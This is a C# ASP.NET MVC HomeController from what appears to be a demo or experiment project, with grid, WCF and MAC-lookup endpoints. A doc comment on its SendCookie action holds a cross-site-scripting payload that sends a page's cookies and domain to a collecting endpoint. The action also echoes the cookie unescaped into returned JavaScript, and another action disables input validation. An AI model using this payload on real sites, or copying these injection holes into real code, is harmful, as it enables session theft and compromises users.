﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using MyApplication.MyService;
using System.Text;
using MyApplication.Models;
using System.Dynamic;
using System.Runtime.InteropServices;

namespace MyApplication.Controllers
{
    public class HomeController : Controller
    {
        public ActionResult Index()
        {
            ViewBag.Message = "欢迎使用 ASP.NET MVC!";

            var str = Server.HtmlDecode("&nbsp;");
            ViewBag.MacAdress = GetMacAddress(GetClientIP());
            return View();
        }

        public ActionResult About(int count, string[] testSelect)
        {
            return View();
        }

        public ActionResult RichBox()
        {
            ViewBag.Message = "富文本编辑器";
            return View();
        }

        public JsonResult Wcf(Int32 Count)
        {
            WcfServiceClient service = new WcfServiceClient();
            StringBuilder str = new StringBuilder();
            for (int i = 0; i < Count; i++)
            {
                //abcdefghijklmnopqrstuvwxyz
                str.Append("a");
            }
            User emp = new User() { ID = str.ToString(), Name = str.ToString() };
            Int32 Lenght = JsonHelper.ObjectToJson<User>(emp).Length;
            try
            {
                return (Json(new { result = service.DoWork(str.ToString(), str.ToString()), lenght = Lenght }));
            }
            catch (Exception ex)
            {
                //throw;
                return Json(new { result = false, lenght = Lenght, error = ex.Message });
            }

        }

        public ActionResult FlexiGrid()
        {
            return View();
        }

        public JsonResult GridData(GridParamModel model)
        {
            var pageData = new PageDataModel();
            using (SamplesEntities _entities = new SamplesEntities())
            {
                pageData.rows = _entities.Employee.OrderBy(m => m.EmpID).Skip((model.page - 1) * model.rp).Take(model.rp).Select(m => new
                {
                    m.EmpID,
                    m.BirthDate,
                    m.FirstName,
                    m.LastName,
                    m.Gender,
                    m.HireDate,
                    m.DeptEmp.OrderByDescending(n => n.ToDate).FirstOrDefault().Department.DeptName,
                    m.Title.OrderByDescending(n => n.ToDate).FirstOrDefault().EmpTitle
                }).ToArray();
                pageData.total = _entities.Employee.Count();
                pageData.page = model.page;
            }
            return Json(pageData);
        }

        [ValidateInput(false)]
        public JsonResult GetContent(FormCollection Form)
        {
            return Json(true);
        }

        /// <summary>
        /// var el = document.createElement('script'); 
        /// document.body.appendChild(el); 
        /// el.src = 'http://localhost:24290/Home/SendCookie?domain='+document.domain+'&cookie=' + escape(document.cookie);
        /// </summary>
        /// <param name="cookie"></param>
        /// <returns></returns>
        public JavaScriptResult SendCookie(String domain, String cookie)
        {
            var originalCookie = Server.UrlDecode(cookie);
            return JavaScript("alert(unescape('" + cookie + "'));");
        }


        //获取MAC地址:
        [DllImport("Iphlpapi.dll")]
        private static extern int SendARP(Int32 dest, Int32 host, ref Int64 mac, ref Int32 length);
        [DllImport("Ws2_32.dll")]
        private static extern Int32 inet_addr(string ip);

        private string GetClientIP()
        {
            string result = Request.ServerVariables["HTTP_X_FORWARDED_FOR"];
            if (String.IsNullOrEmpty(result))
            {
                result = Request.ServerVariables["REMOTE_ADDR"];
            }

            if (String.IsNullOrEmpty(result))
            {
                result = Request.UserHostAddress;
            }
            return result;
        }

        private string GetMacAddress(string ipAddress)
        {
            if (String.IsNullOrEmpty(ipAddress))
            {
                throw new ArgumentNullException("ipAddress");
            }
            if (ipAddress == "127.0.0.1")
            {
                ipAddress = "::1";
            }
            Int32 ldest = inet_addr(ipAddress);   //目的地的ip 
            Int32 lhost = inet_addr("");          //本地服务器的ip 
            Int64 macinfo = new Int64();
            Int32 len = 6;
            int res = SendARP(ldest, 0, ref macinfo, ref len);
            string mac_src = macinfo.ToString("X");
            if (mac_src != "0")
            {
                while (mac_src.Length < 12)
                {
                    mac_src = mac_src.Insert(0, "0");
                }

                string mac_dest = "";
                for (int i = 0; i < 11; i++)
                {
                    if (0 == (i % 2))
                    {
                        if (i == 10)
                        {
                            mac_dest = mac_dest.Insert(0, mac_src.Substring(i, 2));
                        }
                        else
                        {
                            mac_dest = "-" + mac_dest.Insert(0, mac_src.Substring(i, 2));
                        }
                    }
                }
                return mac_dest;
            }
            return mac_src;
        }
    }

    public class Employee 
    {
        public Int32 ID { get; set; }
        public String Name { get; set; }
        public Boolean Sex { get; set; }
        public Int32 Age { get; set; }
        public Single Height { get; set; }
        public Single Weight { get; set; }
        public DateTime Birthday { get; set; }
        public String Email { get; set; }
        public String PhoneNum { get; set; }
    }
    public class User
    {
        public String ID { get; set; }
        public String Name { get; set; }
    }
}
